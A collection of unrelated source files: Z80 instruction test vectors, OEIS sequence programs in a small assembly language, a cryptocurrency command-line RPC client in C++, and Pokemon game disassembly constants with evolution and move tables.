vec 0x20,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x8001,iy,0x8001,sp,0x0000
crcs allflags,0x313a5635,all,0x982e8c00,docflags,0x313a5635,doc,0x982e8c00,ccf,0x8ea4e97a,mptr,0x8891b6e5
name "LD SP,XY"
; Special registers.
.ld_i_a flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0xed,0x47,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0xff,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0xf99ab3eb,all,0xfaafa4d0,docflags,0xf99ab3eb,doc,0xfaafa4d0,ccf,0x04270b9e,mptr,0xbd959484
name "LD I,A"
.ld_r_a flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0xed,0x4f,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0xff,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0xf99ab3eb,all,0xfaafa4d0,docflags,0xf99ab3eb,doc,0xfaafa4d0,ccf,0x04270b9e,mptr,0xbd959484
name "LD R,A"
.ld_a_i flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xed,0x47,0xed,0x57,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0xff,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0xdede7754,all,0x41c6359b,docflags,0x636fa3e4,doc,0x8344d7d6,ccf,0xc77d47f5,mptr,0xbd959484
name "LD A,I"
.ld_a_r flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xed,0x4f,0xed,0x5f,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0xff,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x7a32e3f5,all,0xe3b3d437,docflags,0x8fbe6000,doc,0x095c9ee8,ccf,0x6391d354,mptr,0xbd959484
name "LD A,R"
; Interrupts.
.ei_di flags s,1,z,1,f5,0,hc,1,f3,0,pv,1,n,1,c,1
vec 0xfb,0xf3,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x919e2255,all,0x3108b1a3,docflags,0x57357490,doc,0xd1718bee,ccf,0xc3f6460b,mptr,0x61fe077d
name "EI+DI"
.im_n flags s,1,z,1,f5,1,hc,1,f3,1,pv,1,n,1,c,1
vec 0xed,0x46,stop,0x00,mem,0x1234,a,0xaa,f,0xff,bc,0xbbcc,de,0xddee,hl,0x4411,ix,0xdd88,iy,0xfd77,sp,0xc000
vec 0x00,0x38,0x00,0x00,mem,0x0000,a,0x00,f,0x00,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
vec 0x00,0x00,0x00,0x00,mem,0x0000,a,0x00,f,0xff,bc,0x0000,de,0x0000,hl,0x0000,ix,0x0000,iy,0x0000,sp,0x0000
crcs allflags,0x8b69e182,all,0x44056d8c,docflags,0x8b69e182,doc,0x44056d8c,ccf,0x05e705e5,mptr,0xb4eabc1f
name "IM N"
; EOF ;
|
; A020701: Pisot sequences E(3,5), P(3,5).
; 3,5,8,13,21,34,55,89,144,233,377,610,987,1597,2584,4181,6765,10946,17711,28657,46368,75025,121393,196418,317811,514229,832040,1346269,2178309,3524578,5702887,9227465,14930352,24157817,39088169,63245986,102334155,165580141,267914296,433494437,701408733,1134903170,1836311903,2971215073,4807526976,7778742049,12586269025,20365011074,32951280099,53316291173,86267571272,139583862445,225851433717,365435296162,591286729879,956722026041,1548008755920,2504730781961,4052739537881,6557470319842
mov $1,6
mov $2,4
lpb $0
sub $0,1
mov $3,$2
mov $2,$1
add $1,$3
lpe
div $1,2
mov $0,$1
|
; A061419: a(n) = ceiling(a(n-1)*3/2) with a(1) = 1.
; 1,2,3,5,8,12,18,27,41,62,93,140,210,315,473,710,1065,1598,2397,3596,5394,8091,12137,18206,27309,40964,61446,92169,138254,207381,311072,466608,699912,1049868,1574802,2362203,3543305,5314958,7972437,11958656,17937984,26906976,40360464,60540696,90811044,136216566,204324849,306487274,459730911,689596367,1034394551,1551591827,2327387741,3491081612,5236622418,7854933627,11782400441,17673600662,26510400993,39765601490,59648402235,89472603353,134208905030,201313357545,301970036318,452955054477
mul $0,2
mov $1,12
lpb $0
sub $0,2
div $1,4
mul $1,6
lpe
div $1,6
sub $1,1
mov $0,$1
|
// Copyright (c) 2010 Satoshi Nakamoto
// Copyright (c) 2009-2013 The Bitcoin developers
// Copyright (c) 2018 Oxid developers
// Distributed under the MIT/X11 software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "chainparams.h" // for Params().RPCPort()
#include "rpcclient.h"
#include "rpcprotocol.h"
#include "ui_interface.h"
#include "util.h"
#include "json/json_spirit_writer_template.h"
#include <boost/algorithm/string.hpp>
#include <boost/asio.hpp>
#include <boost/asio/ssl.hpp>
#include <boost/bind.hpp>
#include <boost/filesystem.hpp>
#include <boost/foreach.hpp>
#include <boost/iostreams/concepts.hpp>
#include <boost/iostreams/stream.hpp>
#include <boost/lexical_cast.hpp>
#include <boost/shared_ptr.hpp>
#include <set>
#include <stdint.h>
using namespace std;
using namespace boost;
using namespace boost::asio;
using namespace json_spirit;
Object CallRPC(const string& strMethod, const Array& params)
{
if (mapArgs["-rpcuser"] == "" && mapArgs["-rpcpassword"] == "")
throw runtime_error(strprintf(
_("You must set rpcpassword=<password> in the configuration file:\n%s\n"
"If the file does not exist, create it with owner-readable-only file permissions."),
GetConfigFile().string()));
// Connect to localhost
bool fUseSSL = GetBoolArg("-rpcssl", false);
asio::io_service io_service;
ssl::context context(io_service, ssl::context::sslv23);
context.set_options(ssl::context::no_sslv2);
asio::ssl::stream<asio::ip::tcp::socket> sslStream(io_service, context);
SSLIOStreamDevice<asio::ip::tcp> d(sslStream, fUseSSL);
iostreams::stream< SSLIOStreamDevice<asio::ip::tcp> > stream(d);
bool fWait = GetBoolArg("-rpcwait", false); // -rpcwait means try until server has started
do {
bool fConnected = d.connect(GetArg("-rpcconnect", "127.0.0.1"), GetArg("-rpcport", itostr(Params().RPCPort())));
if (fConnected) break;
if (fWait)
MilliSleep(1000);
else
throw runtime_error("couldn't connect to server");
} while (fWait);
// HTTP basic authentication
string strUserPass64 = EncodeBase64(mapArgs["-rpcuser"] + ":" + mapArgs["-rpcpassword"]);
map<string, string> mapRequestHeaders;
mapRequestHeaders["Authorization"] = string("Basic ") + strUserPass64;
// Send request
string strRequest = JSONRPCRequest(strMethod, params, 1);
string strPost = HTTPPost(strRequest, mapRequestHeaders);
stream << strPost << std::flush;
// Receive HTTP reply status
int nProto = 0;
int nStatus = ReadHTTPStatus(stream, nProto);
// Receive HTTP reply message headers and body
map<string, string> mapHeaders;
string strReply;
ReadHTTPMessage(stream, mapHeaders, strReply, nProto, MAX_SIZE);
if (nStatus == HTTP_UNAUTHORIZED)
throw runtime_error("incorrect rpcuser or rpcpassword (authorization failed)");
else if (nStatus >= 400 && nStatus != HTTP_BAD_REQUEST && nStatus != HTTP_NOT_FOUND && nStatus != HTTP_INTERNAL_SERVER_ERROR)
throw runtime_error(strprintf("server returned HTTP error %d", nStatus));
else if (strReply.empty())
throw runtime_error("no response from server");
// Parse reply
Value valReply;
if (!read_string(strReply, valReply))
throw runtime_error("couldn't parse reply from server");
const Object& reply = valReply.get_obj();
if (reply.empty())
throw runtime_error("expected reply to have result, error and id properties");
return reply;
}
class CRPCConvertParam
{
public:
std::string methodName; // method whose params want conversion
int paramIdx; // 0-based idx of param to convert
};
static const CRPCConvertParam vRPCConvertParams[] =
{
{ "stop", 0 },
{ "getaddednodeinfo", 0 },
{ "sendtoaddress", 1 },
{ "settxfee", 0 },
{ "getreceivedbyaddress", 1 },
{ "getreceivedbyaccount", 1 },
{ "listreceivedbyaddress", 0 },
{ "listreceivedbyaddress", 1 },
{ "listreceivedbyaddress", 2 },
{ "listreceivedbyaccount", 0 },
{ "listreceivedbyaccount", 1 },
{ "listreceivedbyaccount", 2 },
{ "getbalance", 1 },
{ "getbalance", 2 },
{ "getblock", 1 },
{ "getblockbynumber", 0 },
{ "getblockbynumber", 1 },
{ "getblockhash", 0 },
{ "move", 2 },
{ "move", 3 },
{ "sendfrom", 2 },
{ "sendfrom", 3 },
{ "listtransactions", 1 },
{ "listtransactions", 2 },
{ "listtransactions", 3 },
{ "listaccounts", 0 },
{ "listaccounts", 1 },
{ "walletpassphrase", 1 },
{ "walletpassphrase", 2 },
{ "getblocktemplate", 0 },
{ "listsinceblock", 1 },
{ "listsinceblock", 2 },
{ "sendalert", 2 },
{ "sendalert", 3 },
{ "sendalert", 4 },
{ "sendalert", 5 },
{ "sendalert", 6 },
{ "sendmany", 1 },
{ "sendmany", 2 },
{ "reservebalance", 0 },
{ "reservebalance", 1 },
{ "createmultisig", 0 },
{ "createmultisig", 1 },
{ "addmultisigaddress", 0 },
{ "addmultisigaddress", 1 },
{ "listunspent", 0 },
{ "listunspent", 1 },
{ "listunspent", 2 },
{ "getrawtransaction", 1 },
{ "createrawtransaction", 0 },
{ "createrawtransaction", 1 },
{ "signrawtransaction", 1 },
{ "signrawtransaction", 2 },
{ "keypoolrefill", 0 },
{ "importprivkey", 2 },
{ "importaddress", 2 },
{ "checkkernel", 0 },
{ "checkkernel", 1 },
{ "setban", 2 },
{ "setban", 3 },
{ "sendtostealthaddress", 1 },
{ "searchrawtransactions", 1 },
{ "searchrawtransactions", 2 },
{ "searchrawtransactions", 3 },
};
class CRPCConvertTable
{
private:
std::set<std::pair<std::string, int> > members;
public:
CRPCConvertTable();
bool convert(const std::string& method, int idx) {
return (members.count(std::make_pair(method, idx)) > 0);
}
};
CRPCConvertTable::CRPCConvertTable()
{
const unsigned int n_elem =
(sizeof(vRPCConvertParams) / sizeof(vRPCConvertParams[0]));
for (unsigned int i = 0; i < n_elem; i++) {
members.insert(std::make_pair(vRPCConvertParams[i].methodName,
vRPCConvertParams[i].paramIdx));
}
}
static CRPCConvertTable rpcCvtTable;
// Convert strings to command-specific RPC representation
Array RPCConvertValues(const std::string &strMethod, const std::vector<std::string> &strParams)
{
Array params;
for (unsigned int idx = 0; idx < strParams.size(); idx++) {
const std::string& strVal = strParams[idx];
// insert string value directly
if (!rpcCvtTable.convert(strMethod, idx)) {
params.push_back(strVal);
}
// parse string as JSON, insert bool/number/object/etc. value
else {
Value jVal;
if (!read_string(strVal, jVal))
throw runtime_error(string("Error parsing JSON:")+strVal);
params.push_back(jVal);
}
}
return params;
}
int CommandLineRPC(int argc, char *argv[])
{
string strPrint;
int nRet = 0;
try
{
// Skip switches
while (argc > 1 && IsSwitchChar(argv[1][0]))
{
argc--;
argv++;
}
// Method
if (argc < 2)
throw runtime_error("too few parameters");
string strMethod = argv[1];
// Parameters default to strings
std::vector<std::string> strParams(&argv[2], &argv[argc]);
Array params = RPCConvertValues(strMethod, strParams);
// Execute
Object reply = CallRPC(strMethod, params);
// Parse reply
const Value& result = find_value(reply, "result");
const Value& error = find_value(reply, "error");
if (error.type() != null_type)
{
// Error
strPrint = "error: " + write_string(error, false);
int code = find_value(error.get_obj(), "code").get_int();
nRet = abs(code);
}
else
{
// Result
if (result.type() == null_type)
strPrint = "";
else if (result.type() == str_type)
strPrint = result.get_str();
else
strPrint = write_string(result, true);
}
}
catch (boost::thread_interrupted) {
throw;
}
catch (std::exception& e) {
strPrint = string("error: ") + e.what();
nRet = 87;
}
catch (...) {
PrintException(NULL, "CommandLineRPC()");
}
if (strPrint != "")
{
fprintf((nRet == 0 ? stdout : stderr), "%s\n", strPrint.c_str());
}
return nRet;
}
|
; name lengths
NAME_LENGTH EQU 11
PLAYER_NAME_LENGTH EQU 8
BOX_NAME_LENGTH EQU 9
MON_NAME_LENGTH EQU 11
MOVE_NAME_LENGTH EQU 13
ITEM_NAME_LENGTH EQU 13
TRAINER_CLASS_NAME_LENGTH EQU 13
NAME_LENGTH_JAPANESE EQU 6
; GetName types (see home/names.asm)
const_def 1
const MON_NAME ; 1
const MOVE_NAME ; 2
const ITEM_NAME ; 3
const PARTY_OT_NAME ; 4
const ENEMY_OT_NAME ; 5
const TRAINER_NAME ; 6
; see home/text.asm
BORDER_WIDTH EQU 2
TEXTBOX_WIDTH EQU SCREEN_WIDTH
TEXTBOX_INNERW EQU TEXTBOX_WIDTH - BORDER_WIDTH
TEXTBOX_HEIGHT EQU 6
TEXTBOX_INNERH EQU TEXTBOX_HEIGHT - BORDER_WIDTH
TEXTBOX_X EQU 0
TEXTBOX_INNERX EQU TEXTBOX_X + 1
TEXTBOX_Y EQU SCREEN_HEIGHT - TEXTBOX_HEIGHT
TEXTBOX_INNERY EQU TEXTBOX_Y + 2
; PrintNum bit flags
const_def 5
const PRINTNUM_MONEY_F ; 5
const PRINTNUM_RIGHTALIGN_F ; 6
const PRINTNUM_LEADINGZEROS_F ; 7
; PrintNum arguments (see engine/math/print_num.asm)
PRINTNUM_MONEY EQU 1 << PRINTNUM_MONEY_F
PRINTNUM_RIGHTALIGN EQU 1 << PRINTNUM_RIGHTALIGN_F
PRINTNUM_LEADINGZEROS EQU 1 << PRINTNUM_LEADINGZEROS_F
; character sets (see charmap.asm)
FIRST_REGULAR_TEXT_CHAR EQU $60
FIRST_HIRAGANA_DAKUTEN_CHAR EQU $20
|
; A157621: 625n^2 - 364n + 53.
; 314,1825,4586,8597,13858,20369,28130,37141,47402,58913,71674,85685,100946,117457,135218,154229,174490,196001,218762,242773,268034,294545,322306,351317,381578,413089,445850,479861,515122,551633,589394,628405,668666,710177,752938,796949,842210,888721,936482,985493,1035754,1087265,1140026,1194037,1249298,1305809,1363570,1422581,1482842,1544353,1607114,1671125,1736386,1802897,1870658,1939669,2009930,2081441,2154202,2228213,2303474,2379985,2457746,2536757,2617018,2698529,2781290,2865301,2950562,3037073,3124834,3213845,3304106,3395617,3488378,3582389,3677650,3774161,3871922,3970933,4071194,4172705,4275466,4379477,4484738,4591249,4699010,4808021,4918282,5029793,5142554,5256565,5371826,5488337,5606098,5725109,5845370,5966881,6089642,6213653
seq $0,157622 ; 31250n - 9100.
pow $0,2
sub $0,490622500
div $0,1562500
add $0,314
|
SECTION "Evolutions and Attacks 2", ROMX
EvosAttacksPointers2::
dw ChikoritaEvosAttacks
dw BayleefEvosAttacks
dw MeganiumEvosAttacks
dw CyndaquilEvosAttacks
dw QuilavaEvosAttacks
dw TyphlosionEvosAttacks
dw TotodileEvosAttacks
dw CroconawEvosAttacks
dw FeraligatrEvosAttacks
dw SentretEvosAttacks
dw FurretEvosAttacks
dw HoothootEvosAttacks
dw NoctowlEvosAttacks
dw LedybaEvosAttacks
dw LedianEvosAttacks
dw SpinarakEvosAttacks
dw AriadosEvosAttacks
dw CrobatEvosAttacks
dw ChinchouEvosAttacks
dw LanturnEvosAttacks
dw PichuEvosAttacks
dw CleffaEvosAttacks
dw IgglybuffEvosAttacks
dw TogepiEvosAttacks
dw TogeticEvosAttacks
dw NatuEvosAttacks
dw XatuEvosAttacks
dw MareepEvosAttacks
dw FlaaffyEvosAttacks
dw AmpharosEvosAttacks
dw BellossomEvosAttacks
dw MarillEvosAttacks
dw AzumarillEvosAttacks
dw SudowoodoEvosAttacks
dw PolitoedEvosAttacks
dw HoppipEvosAttacks
dw SkiploomEvosAttacks
dw JumpluffEvosAttacks
dw AipomEvosAttacks
dw SunkernEvosAttacks
dw SunfloraEvosAttacks
dw YanmaEvosAttacks
dw WooperEvosAttacks
dw QuagsireEvosAttacks
dw EspeonEvosAttacks
dw UmbreonEvosAttacks
dw MurkrowEvosAttacks
dw SlowkingEvosAttacks
dw MisdreavusEvosAttacks
dw UnownEvosAttacks
dw WobbuffetEvosAttacks
dw GirafarigEvosAttacks
dw PinecoEvosAttacks
dw ForretressEvosAttacks
dw DunsparceEvosAttacks
dw GligarEvosAttacks
dw SteelixEvosAttacks
dw SnubbullEvosAttacks
dw GranbullEvosAttacks
dw QwilfishEvosAttacks
dw ScizorEvosAttacks
dw ShuckleEvosAttacks
dw HeracrossEvosAttacks
dw SneaselEvosAttacks
dw TeddiursaEvosAttacks
dw UrsaringEvosAttacks
dw SlugmaEvosAttacks
dw MagcargoEvosAttacks
dw SwinubEvosAttacks
dw PiloswineEvosAttacks
dw CorsolaEvosAttacks
dw RemoraidEvosAttacks
dw OctilleryEvosAttacks
dw DelibirdEvosAttacks
dw MantineEvosAttacks
dw SkarmoryEvosAttacks
dw HoundourEvosAttacks
dw HoundoomEvosAttacks
dw KingdraEvosAttacks
dw PhanpyEvosAttacks
dw DonphanEvosAttacks
dw Porygon2EvosAttacks
dw StantlerEvosAttacks
dw SmeargleEvosAttacks
dw TyrogueEvosAttacks
dw HitmontopEvosAttacks
dw SmoochumEvosAttacks
dw ElekidEvosAttacks
dw MagbyEvosAttacks
dw MiltankEvosAttacks
dw BlisseyEvosAttacks
dw RaikouEvosAttacks
dw EnteiEvosAttacks
dw SuicuneEvosAttacks
dw LarvitarEvosAttacks
dw PupitarEvosAttacks
dw TyranitarEvosAttacks
dw LugiaEvosAttacks
dw HoOhEvosAttacks
dw CelebiEvosAttacks
ChikoritaEvosAttacks:
dbbw EVOLVE_LEVEL, 16, BAYLEEF
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, GROWL
dbw 8, LEECH_SEED
dbw 12, RAZOR_LEAF
dbw 15, POISONPOWDER
dbw 22, SYNTHESIS
dbw 29, BODY_SLAM
dbw 36, LIGHT_SCREEN
dbw 43, SAFEGUARD
dbw 50, SOLARBEAM
db 0 ; no more level-up moves
BayleefEvosAttacks:
dbbw EVOLVE_LEVEL, 32, MEGANIUM
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, GROWL
dbw 1, LEECH_SEED
dbw 1, RAZOR_LEAF
dbw 8, RAZOR_LEAF
dbw 12, REFLECT
dbw 15, POISONPOWDER
dbw 23, SYNTHESIS
dbw 31, BODY_SLAM
dbw 39, LIGHT_SCREEN
dbw 47, SAFEGUARD
dbw 55, SOLARBEAM
db 0 ; no more level-up moves
MeganiumEvosAttacks:
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, GROWL
dbw 1, LEECH_SEED
dbw 1, RAZOR_LEAF
dbw 8, RAZOR_LEAF
dbw 12, REFLECT
dbw 15, POISONPOWDER
dbw 23, SYNTHESIS
dbw 31, BODY_SLAM
dbw 41, LIGHT_SCREEN
dbw 51, SAFEGUARD
dbw 61, SOLARBEAM
db 0 ; no more level-up moves
CyndaquilEvosAttacks:
dbbw EVOLVE_LEVEL, 14, QUILAVA
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, LEER
dbw 6, CROSS_CUTTER
dbw 7, WIND_RIDE
dbw 8, ROCK_HEAD
dbw 9, BOUNCE
dbw 36, SWIFT
dbw 46, FLAMETHROWER
db 0 ; no more level-up moves
QuilavaEvosAttacks:
dbbw EVOLVE_LEVEL, 36, TYPHLOSION
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, LEER
dbw 1, SMOKESCREEN
dbw 6, SMOKESCREEN
dbw 12, EMBER
dbw 21, QUICK_ATTACK
dbw 31, FLAME_WHEEL
dbw 42, SWIFT
dbw 54, FLAMETHROWER
db 0 ; no more level-up moves
TyphlosionEvosAttacks:
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, LEER
dbw 1, SMOKESCREEN
dbw 1, EMBER
dbw 6, SMOKESCREEN
dbw 12, EMBER
dbw 21, QUICK_ATTACK
dbw 31, FLAME_WHEEL
dbw 45, SWIFT
dbw 60, FLAMETHROWER
db 0 ; no more level-up moves
TotodileEvosAttacks:
dbbw EVOLVE_LEVEL, 18, CROCONAW
db 0 ; no more evolutions
dbw 1, SCRATCH
dbw 1, LEER
dbw 7, RAGE
dbw 13, WATER_GUN
dbw 20, BITE
dbw 27, SCARY_FACE
dbw 35, SLASH
dbw 43, SCREECH
dbw 52, HYDRO_PUMP
db 0 ; no more level-up moves
CroconawEvosAttacks:
dbbw EVOLVE_LEVEL, 30, FERALIGATR
db 0 ; no more evolutions
dbw 1, SCRATCH
dbw 1, LEER
dbw 1, RAGE
dbw 7, RAGE
dbw 13, WATER_GUN
dbw 21, BITE
dbw 28, SCARY_FACE
dbw 37, SLASH
dbw 45, SCREECH
dbw 55, HYDRO_PUMP
db 0 ; no more level-up moves
FeraligatrEvosAttacks:
db 0 ; no more evolutions
dbw 1, SCRATCH
dbw 1, LEER
dbw 1, RAGE
dbw 1, WATER_GUN
dbw 7, RAGE
dbw 13, WATER_GUN
dbw 21, BITE
dbw 28, SCARY_FACE
dbw 38, SLASH
dbw 47, SCREECH
dbw 58, HYDRO_PUMP
db 0 ; no more level-up moves
SentretEvosAttacks:
dbbw EVOLVE_LEVEL, 15, FURRET
db 0 ; no more evolutions
dbw 1, SCRATCH
dbw 1, FORESIGHT
dbw 4, DEFENSE_CURL
dbw 7, QUICK_ATTACK
dbw 13, FURY_SWIPES
dbw 25, SLAM
dbw 28, REST
dbw 31, AMNESIA
dbw 36, BATON_PASS
dbw 42, BODY_SLAM
db 0 ; no more level-up moves
FurretEvosAttacks:
db 0 ; no more evolutions
dbw 1, SCRATCH
dbw 1, FORESIGHT
dbw 1, DEFENSE_CURL
dbw 1, QUICK_ATTACK
dbw 5, DEFENSE_CURL
dbw 11, QUICK_ATTACK
dbw 18, FURY_SWIPES
dbw 34, SLAM
dbw 38, REST
dbw 48, AMNESIA
dbw 53, BATON_PASS
dbw 58, BODY_SLAM
db 0 ; no more level-up moves
HoothootEvosAttacks:
dbbw EVOLVE_LEVEL, 20, NOCTOWL
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, GROWL
dbw 6, FORESIGHT
dbw 11, PECK
dbw 16, HYPNOSIS
dbw 22, REFLECT
dbw 28, TAKE_DOWN
dbw 34, CONFUSION
dbw 48, DREAM_EATER
db 0 ; no more level-up moves
NoctowlEvosAttacks:
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, GROWL
dbw 1, FORESIGHT
dbw 1, PECK
dbw 6, FORESIGHT
dbw 11, PECK
dbw 16, HYPNOSIS
dbw 25, REFLECT
dbw 33, TAKE_DOWN
dbw 41, CONFUSION
dbw 57, DREAM_EATER
db 0 ; no more level-up moves
LedybaEvosAttacks:
dbbw EVOLVE_LEVEL, 18, LEDIAN
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 8, SUPERSONIC
dbw 12, GUST
dbw 15, COMET_PUNCH
dbw 22, LIGHT_SCREEN
dbw 22, REFLECT
dbw 22, SAFEGUARD
dbw 29, BATON_PASS
dbw 36, SWIFT
dbw 43, AGILITY
dbw 50, FLY
dbw 55, DOUBLE_EDGE
db 0 ; no more level-up moves
LedianEvosAttacks:
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, SUPERSONIC
dbw 8, SUPERSONIC
dbw 15, COMET_PUNCH
dbw 24, LIGHT_SCREEN
dbw 24, REFLECT
dbw 24, SAFEGUARD
dbw 33, BATON_PASS
dbw 42, SWIFT
dbw 51, AGILITY
dbw 56, FLY
dbw 60, DOUBLE_EDGE
db 0 ; no more level-up moves
SpinarakEvosAttacks:
dbbw EVOLVE_LEVEL, 22, ARIADOS
db 0 ; no more evolutions
dbw 1, POISON_STING
dbw 1, STRING_SHOT
dbw 6, SCARY_FACE
dbw 11, CONSTRICT
dbw 17, NIGHT_SHADE
dbw 23, LEECH_LIFE
dbw 30, FURY_SWIPES
dbw 34, PIN_MISSILE
dbw 37, SPIDER_WEB
dbw 45, AGILITY
dbw 53, PSYCHIC_M
db 0 ; no more level-up moves
AriadosEvosAttacks:
db 0 ; no more evolutions
dbw 1, POISON_STING
dbw 1, STRING_SHOT
dbw 1, SCARY_FACE
dbw 1, CONSTRICT
dbw 6, SCARY_FACE
dbw 11, CONSTRICT
dbw 17, NIGHT_SHADE
dbw 25, LEECH_LIFE
dbw 34, FURY_SWIPES
dbw 40, PIN_MISSILE
dbw 43, SPIDER_WEB
dbw 53, AGILITY
dbw 63, PSYCHIC_M
db 0 ; no more level-up moves
CrobatEvosAttacks:
db 0 ; no more evolutions
dbw 1, SCREECH
dbw 1, LEECH_LIFE
dbw 1, SUPERSONIC
dbw 1, HAZE
dbw 6, SUPERSONIC
dbw 12, BITE
dbw 19, CONFUSE_RAY
dbw 30, WING_ATTACK
dbw 42, MEAN_LOOK
dbw 55, FLY
db 0 ; no more level-up moves
ChinchouEvosAttacks:
dbbw EVOLVE_LEVEL, 27, LANTURN
db 0 ; no more evolutions
dbw 1, BUBBLE
dbw 1, SUPERSONIC
dbw 6, THUNDER_WAVE
dbw 9, WATER_GUN
dbw 12, CONFUSE_RAY
dbw 17, BUBBLEBEAM
dbw 20, SPARK
dbw 28, WATERFALL
dbw 34, TAKE_DOWN
dbw 49, THUNDERBOLT
dbw 55, SURF
dbw 60, HYDRO_PUMP
db 0 ; no more level-up moves
LanturnEvosAttacks:
db 0 ; no more evolutions
dbw 1, BUBBLE
dbw 1, SUPERSONIC
dbw 1, THUNDER_WAVE
dbw 12, WATER_GUN
dbw 15, CONFUSE_RAY
dbw 20, BUBBLEBEAM
dbw 25, SPARK
dbw 33, WATERFALL
dbw 45, TAKE_DOWN
dbw 54, THUNDERBOLT
dbw 62, SURF
dbw 66, HYDRO_PUMP
db 0 ; no more level-up moves
PichuEvosAttacks:
dbbw EVOLVE_HAPPINESS, TR_ANYTIME, PIKACHU
db 0 ; no more evolutions
dbw 1, THUNDERSHOCK
dbw 1, CHARM
dbw 6, TAIL_WHIP
dbw 8, THUNDER_WAVE
dbw 11, SWEET_KISS
db 0 ; no more level-up moves
CleffaEvosAttacks:
dbbw EVOLVE_HAPPINESS, TR_ANYTIME, CLEFAIRY
db 0 ; no more evolutions
dbw 1, POUND
dbw 1, CHARM
dbw 4, ENCORE
dbw 8, SING
dbw 13, SWEET_KISS
db 0 ; no more level-up moves
IgglybuffEvosAttacks:
dbbw EVOLVE_HAPPINESS, TR_ANYTIME, JIGGLYPUFF
db 0 ; no more evolutions
dbw 1, SING
dbw 1, CHARM
dbw 4, DEFENSE_CURL
dbw 9, POUND
dbw 14, SWEET_KISS
db 0 ; no more level-up moves
TogepiEvosAttacks:
dbbw EVOLVE_HAPPINESS, TR_ANYTIME, TOGETIC
db 0 ; no more evolutions
dbw 1, GROWL
dbw 1, CHARM
dbw 7, METRONOME
dbw 18, SWEET_KISS
dbw 25, ENCORE
dbw 31, SAFEGUARD
dbw 38, DOUBLE_EDGE
db 0 ; no more level-up moves
TogeticEvosAttacks:
db 0 ; no more evolutions
dbw 1, GROWL
dbw 1, CHARM
dbw 7, METRONOME
dbw 18, SWEET_KISS
dbw 25, ENCORE
dbw 31, SAFEGUARD
dbw 38, DOUBLE_EDGE
db 0 ; no more level-up moves
NatuEvosAttacks:
dbbw EVOLVE_LEVEL, 25, KATU
db 0 ; no more evolutions
dbw 1, PECK
dbw 6, CONFUSION
dbw 10, NIGHT_SHADE
dbw 15, TELEPORT
dbw 20, QUICK_ATTACK
dbw 25, PSYBEAM
dbw 30, PURSUIT
dbw 35, FUTURE_SIGHT
dbw 40, CONFUSE_RAY
dbw 45, WING_ATTACK ; put Synchronoise in this slot for final
dbw 48, DRILL_PECK
dbw 56, PSYCHIC_M
db 0 ; no more level-up moves
XatuEvosAttacks:
db 0 ; no more evolutions
dbw 1, PECK
dbw 1, CONFUSION
dbw 1, NIGHT_SHADE
dbw 15, NIGHT_SHADE
dbw 25, TELEPORT
dbw 30, QUICK_ATTACK
dbw 35, PSYBEAM
dbw 40, PURSUIT
dbw 45, FUTURE_SIGHT
dbw 50, CONFUSE_RAY
